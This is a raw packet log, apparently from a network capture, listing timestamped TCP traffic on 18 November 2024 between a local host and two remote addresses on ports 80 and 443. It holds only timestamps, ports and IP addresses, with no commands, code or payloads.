Nov 18, 2024 20:21:31.551207066 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:31.556396961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.622983932 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623002052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623013973 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623024940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623037100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623047113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623059988 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623083115 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.623107910 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.623287916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623298883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623308897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623332024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623333931 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.623349905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.623516083 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623528004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623539925 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623553991 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.623579025 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.623583078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623594999 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623606920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.623640060 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.624070883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.624103069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.624111891 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.624114990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.624150991 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.624203920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.624216080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.624226093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.624238968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.624250889 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.624252081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.624274015 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.665721893 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.767800093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767818928 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767829895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767841101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767852068 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767863989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767872095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767898083 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767909050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767929077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767939091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767949104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.767956972 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.767961979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.768018961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.768033981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.768044949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.768057108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.768074989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.768078089 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.768085957 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.768095970 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.768107891 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.768114090 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.768152952 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.769207001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.769220114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.769232035 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.769243956 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.769268036 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.769289970 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.864062071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.864083052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.864099026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.864249945 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.888299942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888362885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888375998 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888428926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888441086 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888453007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888468027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888479948 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888478041 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.888489962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888504028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888514042 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.888541937 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.888645887 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888658047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888670921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888684988 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.888694048 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888705969 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888720036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.888741016 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.889259100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.889272928 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.889283895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.889306068 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.889324903 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.889324903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.889338017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.889349937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.889363050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.889375925 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.889390945 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.889424086 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:31.984308004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.984325886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.984339952 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:31.984394073 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.009319067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009339094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009352922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009409904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009421110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009433985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009447098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009454012 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.009469986 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009481907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009495974 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009509087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009521961 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009536028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009543896 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.009551048 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009563923 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009577036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009582043 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.009588957 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009602070 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009608030 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.009628057 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.009632111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009685040 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.009938955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009951115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.009963036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.010009050 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.052442074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.052460909 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.052474022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.052561998 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.052614927 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.104321957 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.104425907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.104434967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.104445934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.104526043 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.128935099 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.128963947 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.128981113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.128992081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129002094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129012108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129021883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129031897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129043102 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129199028 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.129199028 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.129497051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129513979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129524946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129556894 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.129579067 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.129715919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129726887 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129739046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129776001 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.129864931 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.129913092 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.130040884 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.130053997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.130064011 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.130075932 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.130117893 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.130122900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.130135059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.130147934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.130160093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.130170107 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.130218983 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.131628990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.131639004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.131694078 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.172197104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.172555923 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.172651052 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.172766924 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.172966003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.173022032 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.206031084 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.207290888 CET	49759	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.207309008 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.207945108 CET	49759	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.207951069 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.226305008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.226435900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.226449013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.226505041 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.249036074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249070883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249084949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249097109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249109030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249135017 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.249155998 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249171019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249172926 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.249219894 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.249243975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249254942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249269009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249305964 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.249608040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249619007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249639034 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249659061 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.249661922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249672890 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.249674082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.249710083 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.250058889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250070095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250082016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250128984 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.250147104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250159025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250169992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250190020 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250194073 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.250205040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250210047 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.250214100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250238895 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.250797987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250868082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.250886917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.284024000 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.284617901 CET	49763	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.284634113 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.285080910 CET	49763	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.285088062 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.290786982 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.291419983 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.291790962 CET	49760	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.291815996 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.292221069 CET	49760	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.292229891 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.292774916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.292789936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.292802095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.292829037 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.305187941 CET	443	49762	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.305623055 CET	49762	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.305639982 CET	443	49762	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.306129932 CET	49762	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.306138992 CET	443	49762	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.337606907 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.338972092 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.339113951 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.339241982 CET	49759	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.339277983 CET	49759	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.339298010 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.339310884 CET	49759	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.339324951 CET	443	49759	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.342226028 CET	49764	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.342268944 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.342350960 CET	49764	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.342573881 CET	49764	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.342592955 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.345295906 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.345310926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.345321894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.345410109 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.369586945 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369600058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369611979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369642019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369652033 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.369652987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369663954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369677067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369683027 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.369702101 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.369713068 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369724035 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369734049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.369736910 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.369765043 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.370028019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370039940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370049953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370080948 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.370080948 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.370104074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370115042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370126009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370138884 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370147943 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.370162964 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370186090 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.370680094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370691061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370702982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370729923 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.370748997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370754004 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.370764971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.370805979 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.411957979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.411984921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.411997080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.412091017 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.412848949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.412859917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.412870884 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.412898064 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.412924051 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.413933039 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.414170027 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.414242029 CET	49763	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.414309978 CET	49763	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.414323092 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.414334059 CET	49763	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.414339066 CET	443	49763	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.417736053 CET	49765	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.417794943 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.417907000 CET	49765	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.418128967 CET	49765	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.418142080 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.436585903 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.436906099 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.436985016 CET	49760	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.437028885 CET	49760	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.437028885 CET	49760	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.437050104 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.437062979 CET	443	49760	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.439595938 CET	443	49762	13.107.246.45	192.168.2.5
